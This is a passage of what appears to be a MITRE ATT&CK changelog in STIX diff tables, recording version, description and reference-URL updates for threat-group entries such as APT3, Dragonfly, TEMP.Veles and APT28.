| > | olitical organizations in Hong Kong. (Citation: Symantec Buc | > | ical organizations in Hong Kong.(Citation: Symantec Buckeye) | ||
| > | keye) MITRE has also developed an APT3 Adversary Emulation | > | In 2017, MITRE developed an APT3 Adversary Emulation Plan. | ||
| > | Plan.(Citation: APT3 Adversary Emulation Plan) | > | (Citation: APT3 Adversary Emulation Plan) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Patrick Sungbahadoor'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 01:47:03.155000+00:00 | 2021-10-01 19:09:20.817000+00:00 |
| description | [APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye) MITRE has also developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan) | [APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security.(Citation: FireEye Clandestine Wolf)(Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye) In 2017, MITRE developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan) |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 15:48:20.759000+00:00 | 2021-05-26 12:40:42.907000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-06 18:12:23.832000+00:00 | 2021-04-20 17:57:07.909000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 13:59:09.596000+00:00 | 2021-10-12 21:46:13.007000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 16:59:26.732000+00:00 | 2021-10-12 19:34:36.092000+00:00 |
| external_references[4]['url'] | https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf | https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-03 20:22:40.401000+00:00 | 2021-10-11 19:08:18.503000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-15 15:44:47.629000+00:00 | 2021-10-12 19:52:22.454000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-15 15:08:55.062000+00:00 | 2021-10-12 22:10:04.107000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dragonfly](https://attack.mitre.org/groups/G0035) Dragonfly | t | 1 | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cybe |
| > | is a cyber espionage group that has been active since at le | > | r espionage group that has been active since at least 2011. | ||
| > | ast 2011. They initially targeted defense and aviation compa | > | They initially targeted defense and aviation companies but s | ||
| > | nies but shifted to focus on the energy sector in early 2013 | > | hifted to focus to include the energy sector in early 2013. | ||
| > | . They have also targeted companies related to industrial co | > | They have also targeted companies related to industrial cont | ||
| > | ntrol systems. (Citation: Symantec Dragonfly)(Citation: Secu | > | rol systems. (Citation: Symantec Dragonfly)(Citation: Secure | ||
| > | reworks IRON LIBERTY July 2019) A similar group emerged in | > | works IRON LIBERTY July 2019) A similar group emerged in 20 | ||
| > | 2015 and was identified by Symantec as [Dragonfly 2.0](https | > | 15 and was identified by Symantec as [Dragonfly 2.0](https:/ | ||
| > | ://attack.mitre.org/groups/G0074). There is debate over the | > | /attack.mitre.org/groups/G0074). There is debate over the ex | ||
| > | extent of the overlap between [Dragonfly](https://attack.mit | > | tent of the overlap between [Dragonfly](https://attack.mitre | ||
| > | re.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitr | > | .org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre. | ||
| > | e.org/groups/G0074), but there is sufficient evidence to lea | > | org/groups/G0074), but there is sufficient evidence to lead | ||
| > | d to these being tracked as two separate groups. (Citation: | > | to these being tracked as two separate groups. (Citation: Sy | ||
| > | Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2. | > | mantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 | ||
| > | 0 Sept 2017)(Citation: Dragos DYMALLOY ) | > | Sept 2017)(Citation: Dragos DYMALLOY ) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 22:42:00.531000+00:00 | 2021-10-12 22:07:18.072000+00:00 |
| description | [Dragonfly](https://attack.mitre.org/groups/G0035) Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019) A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus to include the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019) A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) |
| x_mitre_version | 2.0 | 2.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:58:36.955000+00:00 | 2021-03-02 22:40:11.097000+00:00 |
| external_references[6]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 21:26:28.528000+00:00 | 2021-05-26 12:35:39.400000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:52:35.625000+00:00 | 2021-08-11 20:45:59.687000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 22:54:59.268000+00:00 | 2021-10-16 19:48:37.809000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Daniyal Naeem, BT Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:15:00.553000+00:00 | 2021-10-12 21:31:07.407000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-28 00:01:09.384000+00:00 | 2021-05-26 19:57:42.132000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Thijn Bukkems, Amazon'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-06 15:32:20.089000+00:00 | 2021-04-26 12:52:34.528000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.5
Version changed from: 1.4 → 1.5
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:06:47.872000+00:00 | 2021-10-12 21:57:25.847000+00:00 |
| x_mitre_version | 1.4 | 1.5 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-20 20:54:12.685000+00:00 | 2021-10-12 23:21:06.480000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-07 18:49:43.973000+00:00 | 2021-10-12 20:02:51.565000+00:00 |
| external_references[9]['url'] | https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/ | https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/ |
| x_mitre_version | 1.3 | 1.4 |
Current version: 2.3
Version changed from: 2.2 → 2.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:56:50.005000+00:00 | 2021-10-12 23:23:16.109000+00:00 |
| x_mitre_version | 2.2 | 2.3 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 00:54:00.656000+00:00 | 2021-10-12 22:12:11.717000+00:00 |
| external_references[2]['url'] | https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf | https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 23:58:28.015000+00:00 | 2021-04-22 00:39:49.529000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 20:39:49.350000+00:00 | 2021-10-12 21:55:09.686000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PittyTiger](https://attack.mitre.org/groups/G0011) is a thr | t | 1 | [PittyTiger](https://attack.mitre.org/groups/G0011) is a thr |
| > | eat group believed to operate out of China that uses multipl | > | eat group believed to operate out of China that uses multipl | ||
| > | e different types of malware to maintain command and control | > | e different types of malware to maintain command and control | ||
| > | . (Citation: Bizeul 2014) (Citation: Villeneuve 2014) | > | .(Citation: Bizeul 2014)(Citation: Villeneuve 2014) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:14:16.259000+00:00 | 2021-10-12 23:11:41.368000+00:00 |
| description | [PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014) | [PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.(Citation: Bizeul 2014)(Citation: Villeneuve 2014) |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:20:55.380000+00:00 | 2020-11-23 18:57:19.208000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rus | t | 1 | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rus |
| > | sia-based threat group that has targeted critical infrastruc | > | sia-based threat group that has targeted critical infrastruc | ||
| > | ture. The group has been observed utilizing TRITON, a malwar | > | ture. The group has been observed utilizing [TRITON](https:/ | ||
| > | e framework designed to manipulate industrial safety systems | > | /attack.mitre.org/software/S0609), a malware framework desig | ||
| > | .(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Vele | > | ned to manipulate industrial safety systems.(Citation: FireE | ||
| > | s 2018)(Citation: FireEye TEMP.Veles JSON April 2019) | > | ye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: | ||
| > | FireEye TEMP.Veles JSON April 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-04 23:31:36.937000+00:00 | 2021-10-17 14:49:09.631000+00:00 |
| description | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019) | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing [TRITON](https://attack.mitre.org/software/S0609), a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019) |
| external_references[2]['description'] | The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON.(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 ) | The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON .(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 ) |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:25:56.012000+00:00 | 2021-10-12 20:13:42.274000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-29 03:23:27.843000+00:00 | 2021-04-26 14:15:15.610000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:31:01.756000+00:00 | 2021-10-17 14:50:57.491000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-27 21:56:24.890000+00:00 | 2021-10-12 21:43:24.133000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-26 13:46:14.122000+00:00 | 2021-04-26 14:37:33.234000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 3.2
Version changed from: 3.0 → 3.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT28](https://attack.mitre.org/groups/G0007) is a threat g | t | 1 | [APT28](https://attack.mitre.org/groups/G0007) is a threat g |
| > | roup that has been attributed to Russia's General Staff Main | > | roup that has been attributed to Russia's General Staff Main | ||
| > | Intelligence Directorate (GRU) 85th Main Special Service Ce | > | Intelligence Directorate (GRU) 85th Main Special Service Ce | ||
| > | nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub | > | nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub | ||
| > | August 2020) This group has been active since at least 2004 | > | August 2020)(Citation: Cybersecurity Advisory GRU Brute For | ||
| > | .(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Tech | > | ce Campaign July 2021) This group has been active since at l | ||
| > | nica GRU indictment Jul 2018) (Citation: Crowdstrike DNC Jun | > | east 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: | ||
| > | e 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG- | > | Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike | ||
| > | 4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZ | > | DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWork | ||
| > | ZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: | > | s TG-4127)(Citation: FireEye APT28 January 2017)(Citation: G | ||
| > | Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018 | > | RIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: | ||
| > | ) (Citation: ESET Zebrocy May 2019) [APT28](https://attack. | > | Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018 | ||
| > | mitre.org/groups/G0007) reportedly compromised the Hillary C | > | )(Citation: ESET Zebrocy May 2019) [APT28](https://attack.m | ||
| > | linton campaign, the Democratic National Committee, and the | > | itre.org/groups/G0007) reportedly compromised the Hillary Cl | ||
| > | Democratic Congressional Campaign Committee in 2016 in an at | > | inton campaign, the Democratic National Committee, and the D | ||
| > | tempt to interfere with the U.S. presidential election. (Cit | > | emocratic Congressional Campaign Committee in 2016 in an att | ||
| > | ation: Crowdstrike DNC June 2016) In 2018, the US indicted f | > | empt to interfere with the U.S. presidential election. (Cita | ||
| > | ive GRU Unit 26165 officers associated with [APT28](https:// | > | tion: Crowdstrike DNC June 2016) In 2018, the US indicted fi | ||
| > | attack.mitre.org/groups/G0007) for cyber operations (includi | > | ve GRU Unit 26165 officers associated with [APT28](https://a | ||
| > | ng close-access operations) conducted between 2014 and 2018 | > | ttack.mitre.org/groups/G0007) for cyber operations (includin | ||
| > | against the World Anti-Doping Agency (WADA), the US Anti-Dop | > | g close-access operations) conducted between 2014 and 2018 a | ||
| > | ing Agency, a US nuclear facility, the Organization for the | > | gainst the World Anti-Doping Agency (WADA), the US Anti-Dopi | ||
| > | Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chem | > | ng Agency, a US nuclear facility, the Organization for the P | ||
| > | icals Laboratory, and other organizations.(Citation: US Dist | > | rohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemi | ||
| > | rict Court Indictment GRU Oct 2018) Some of these were condu | > | cals Laboratory, and other organizations.(Citation: US Distr | ||
| > | cted with the assistance of GRU Unit 74455, which is also re | > | ict Court Indictment GRU Oct 2018) Some of these were conduc | ||
| > | ferred to as [Sandworm Team](https://attack.mitre.org/groups | > | ted with the assistance of GRU Unit 74455, which is also ref | ||
| > | /G0034). | > | erred to as [Sandworm Team](https://attack.mitre.org/groups/ | ||
| > | G0034). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-06 23:32:21.793000+00:00 | 2021-10-18 20:34:03.233000+00:00 |
| description | [APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019) [APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). | [APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: FireEye APT28 January 2017)(Citation: GRIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018)(Citation: ESET Zebrocy May 2019) [APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). |
| external_references[1]['description'] | (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018) | (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[5]['description'] | This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT. (Citation: FireEye APT28 January 2017) (Citation: SecureWorks TG-4127) (Citation: Kaspersky Sofacy) (Citation: Ars Technica GRU indictment Jul 2018) | This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT.(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018) |
| external_references[6]['description'] | This designation has been used in reporting both to refer to the threat group and its associated malware. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017) | This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017) |
| external_references[7]['description'] | (Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3) | (Citation: SecureWorks TG-4127)(Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) |
| external_references[8]['description'] | (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018) | (Citation: Crowdstrike DNC June 2016)(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[9]['description'] | (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019) (Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020) | (Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[14]['source_name'] | DOJ GRU Indictment Jul 2018 | Cybersecurity Advisory GRU Brute Force Campaign July 2021 |
| external_references[14]['description'] | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. | NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021. |
| external_references[14]['url'] | https://www.justice.gov/file/1080281/download | https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF |
| external_references[15]['source_name'] | Ars Technica GRU indictment Jul 2018 | DOJ GRU Indictment Jul 2018 |
| external_references[15]['description'] | Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018. | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. |
| external_references[15]['url'] | https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/ | https://www.justice.gov/file/1080281/download |
| external_references[16]['source_name'] | Crowdstrike DNC June 2016 | Ars Technica GRU indictment Jul 2018 |
| external_references[16]['description'] | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. | Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018. |
| external_references[16]['url'] | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ | https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/ |
| external_references[17]['source_name'] | FireEye APT28 | Crowdstrike DNC June 2016 |
| external_references[17]['description'] | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. |
| external_references[17]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
| external_references[18]['source_name'] | SecureWorks TG-4127 | FireEye APT28 |
| external_references[18]['description'] | SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016. | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. |
| external_references[18]['url'] | https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf |
| external_references[19]['source_name'] | FireEye APT28 January 2017 | SecureWorks TG-4127 |
| external_references[19]['description'] | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. | SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016. |
| external_references[19]['url'] | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf | https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign |
